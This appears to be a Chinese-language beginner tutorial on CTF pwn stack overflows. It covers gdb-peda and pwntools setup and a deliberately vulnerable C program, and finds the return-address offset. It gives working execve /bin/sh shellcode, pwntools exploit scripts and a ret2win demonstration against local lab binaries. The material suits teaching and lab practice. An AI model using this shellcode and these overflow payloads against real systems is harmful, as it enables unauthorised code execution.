入坑 CTF-PWN 之 栈溢出入门

 好久没看过pwn题目了,写一个入门的教程顺便复习了:

1. 安装gdb-peda

  • git clone https://github.com/longld/peda.git ~/peda
  • echo "source ~/peda/peda.py" >> ~/.gdbinit
  • echo "DONE! debug your program with gdb and enjoy"

2. 一些比较有用的技巧

  • print system
    直接输出__libc_system的地址 , 用以验证信息泄露以及system地址计算的正确性

  • checksec 检查该二进制的一些安全选项是否打开

  • shellcode 直接生成shellcode

  • attach pid , 在利用脚本connect到socat上之后,socat会fork出一个进程,gdb attach上这个进程,即可以进行远程调试了

  • socat TCP4-LISTEN:12345,fork EXEC:./1 本机调试


3. pwntools

  1. 安装
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install
  • 或者使用
    pip install pwn
  1. 基本的模板
from pwn import *
    context.log\_level = 'debug' #debug模式,可输出详细信息
    conn = remote('127.0.0.1' , 12345) #通过socat将二进制文件运行在某个端口之后,可使用本语句建立连接,易于在本地与远程之间转换。
    print str(pwnlib.util.proc.pidof('pwn')[0]) #这两条便于在gdb下迅速attach 上对应的pid
    raw_input('continue')
    conn.recvuntil('Welcome') #两种不同的recv
    conn.recv(2048)
    shellcode = p32(0x0804a028) #用于将数字变成\x28\xa0\x04\x08的形式
    conn.sendline(shellcode) #向程序发送信息,使用sendline而非send是个好习惯
    conn.interactive() #拿到shell之后,用此进行交互

from pwn import *
    pwn=remote("127.0.0.1","12345")
    payload='A'*136 + p64(0x00000000004005bd)
    #pwn.recvuntil('Welcome') #两种不同的recv
    pwn.sendline(payload)
    pwn.interactive()
  1. 本地调试
  • socat tcp-listen:12345, fork EXEC:./pwn

GDB 命令

1. X 命令
o - octal
x - hexadecimal
d - decimal
u - unsigned decimal
t - binary
f - floating point
a - address
c - char
s - string
i - instruction
2. 指定大小
b - byte
h - halfword (16-bit value)
w - word (32-bit value)
g - giant word (64-bit value)
  1. 基本栈溢出
// c语言源码
#include 
#include 

int vuln() {
 char buf[80];
 int r;
 r = read(0, buf, 400);
 printf("\nRead %d bytes. buf is %s\n", r, buf);
 puts("No shell for you :(");
 return 0;
}

int main(int argc, char *argv[]) {
 printf("Try to exec /bin/sh");
 vuln();
 return 0;
}
 
 /* Compile: gcc -fno-stack-protector -z execstack 1.c -o 1 */
 /*  Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */

root@kali:~/桌面# checksec 1
[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/1'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)

当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。

因此从技术角度看,如果我们将400个字节传递到其中,我们应该可以溢出缓冲区并用我们的payload覆盖RIP

  • 我们首先使用gdb-peda
gdb
gdb-peda$ file 1 

python -c "'a'*400" > in.txt

  • 然后在运行的时候使用
    gdb-peda$ r < in.txt

真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移:

gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
gdb-peda$ r  < in.txt

 然后我们查看此时的栈顶,因为我们是在栈中覆盖掉了vuln()函数的返回地址,此时这个返回地址就是$rsp(栈顶指针),栈的地址是从高地址向低地址增长的,大概如下图所示:

低    ->|-----------------|
      | 全局量(所有已初始化量 .data, |
      | 未初始化量 .bss )       |
  堆起始->|-----------------|
      |    堆向高地址增长      |
      |                 |
      |                 |
      |     自由空间        |
      |                 |
      |                 |
      |    栈向低地址增长      |
高 栈起始->|-----------------| 

查看此时的rsp:

x/wx $rsp
0x7fffffffe1d8: 0x41413741

查看此时偏移:

gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104

因为该程序没有NX或stack canaries保护机制,所以我们可以直接在栈上编写我们的shellcode然后返回到shellcode上。
我们将通过一个环境变量把shellcode存储在栈中并用getenvaddr在栈上找到其地址.

export PWN=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
/*
getenvaddr.c
*/
#include 
#include 
#include 

int main(int argc, char *argv[]) {
    char *ptr;

    if(argc < 3) {
        printf("Usage: %s  \n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}


执行: 查看PWN变量在内存中的位置

root@kali:~/桌面# ./getenvaddr PWN ./1
PWN will be at 0x7fff203f4e4f

exp:

from pwn import *
pwn=remote("127.0.0.1","12345")
payload='A'*104 + p64(0x00007fff203f4e4f)  //这里跟你想执行的shellcode
pwn.sendline(payload)
pwn.interactive()

这里为了方便演示,我在源码里写了一个flag函数,让调用完vuln函数后返回到flag函数去执行

#include 
#include 

int vuln() {
 char buf[80];
 gets(buf);
 return 0;
}

int flag(){
  printf("you got the flag!");
  return 0;
}
int main(int argc, char *argv[]) {
 vuln();
 return 0;
}

查看main函数汇编地址

gdb-peda$ disas main 
Dump of assembler code for function main:
   0x00000000004005da <+0>: push   rbp
   0x00000000004005db <+1>: mov    rbp,rsp
   0x00000000004005de <+4>: sub    rsp,0x10
   0x00000000004005e2 <+8>: mov    DWORD PTR [rbp-0x4],edi
   0x00000000004005e5 <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x00000000004005e9 <+15>:    mov    edi,0x4006d5
   0x00000000004005ee <+20>:    mov    eax,0x0
   0x00000000004005f3 <+25>:    call   0x400440 
   0x00000000004005f8 <+30>:    mov    eax,0x0
   0x00000000004005fd <+35>:    call   0x400576 
   0x0000000000400602 <+40>:    mov    eax,0x0
   0x0000000000400607 <+45>:    leave  
   0x0000000000400608 <+46>:    ret    
End of assembler dump.

查看flag函数地址

gdb-peda$ disas flag
Dump of assembler code for function flag:
   0x00000000004005c0 <+0>: push   rbp
   0x00000000004005c1 <+1>: mov    rbp,rsp
   0x00000000004005c4 <+4>: mov    edi,0x4006c3
   0x00000000004005c9 <+9>: mov    eax,0x0
   0x00000000004005ce <+14>:    call   0x400440 
   0x00000000004005d3 <+19>:    mov    eax,0x0
   0x00000000004005d8 <+24>:    pop    rbp
   0x00000000004005d9 <+25>:    ret    
End of assembler dump.

查看call vuln函数执行时候栈

0000| 0x7fffffffde58 --> 0x400602 (:   mov    eax,0x0)
0008| 0x7fffffffde60 --> 0x7fffffffdf58 --> 0x7fffffffe2cc ("/home/alex/Desktop/1")
0016| 0x7fffffffde68 --> 0x100000000 
0024| 0x7fffffffde70 --> 0x400610 (<__libc_csu_init>:   push   r15)
0032| 0x7fffffffde78 --> 0x7ffff7a2e830 (<__libc_start_main+240>:   mov    edi,eax)
0040| 0x7fffffffde80 --> 0x0 
0048| 0x7fffffffde88 --> 0x7fffffffdf58 --> 0x7fffffffe2cc ("/home/alex/Desktop/1")
0056| 0x7fffffffde90 --> 0x100000000 

查看为变量赋值后栈的结构

0x400587 : mov    rsi,rax
   0x40058a :  mov    edi,0x0
   0x40058f :  call   0x400450 
=> 0x400594 :  mov    DWORD PTR [rbp-0x4],eax
   0x400597 :  lea    rdx,[rbp-0x60]
   0x40059b :  mov    eax,DWORD PTR [rbp-0x4]
   0x40059e :  mov    esi,eax
   0x4005a0 :  mov    edi,0x400694


gdb-peda$ stack 50
0000| 0x7fffffffddf0 ('A' , "\300\005@")
0008| 0x7fffffffddf8 ('A' , "\300\005@")
0016| 0x7fffffffde00 ('A' , "\300\005@")
0024| 0x7fffffffde08 ('A' , "\300\005@")
0032| 0x7fffffffde10 ('A' , "\300\005@")
0040| 0x7fffffffde18 ('A' , "\300\005@")
0048| 0x7fffffffde20 ('A' , "\300\005@")
0056| 0x7fffffffde28 ('A' , "\300\005@")
0064| 0x7fffffffde30 ('A' , "\300\005@")
0072| 0x7fffffffde38 ('A' , "\300\005@")
0080| 0x7fffffffde40 ('A' , "\300\005@")
0088| 0x7fffffffde48 ('A' , "\300\005@")
0096| 0x7fffffffde50 ("AAAAAAAA\300\005@")
0104| 0x7fffffffde58 --> 0x4005c0 (:  push   rbp) 
// 这里我们清晰地看到vuln函数的返回地址已经变成了flag函数的地址,这样在返回
// 后rsp会出栈赋值给rip,然后执行flag函数

【参考链接】

  • pwn的一些科普 http://bobao.360.cn/ctf/detail/160.html
  • pwntools安装 http://www.cnblogs.com/pcat/p/5451780.html
  • pwntools用法 http://www.tuicool.com/articles/iAfuamr
  • 栈保护 http://blog.csdn.net/nibiru_holmes/article/details/61209297
  • 栈保护(这个写的非常好) http://www.cnblogs.com/gsharpsh00ter/p/6420233.html

你可能感兴趣的:(入坑 CTF-PWN 之 栈溢出入门)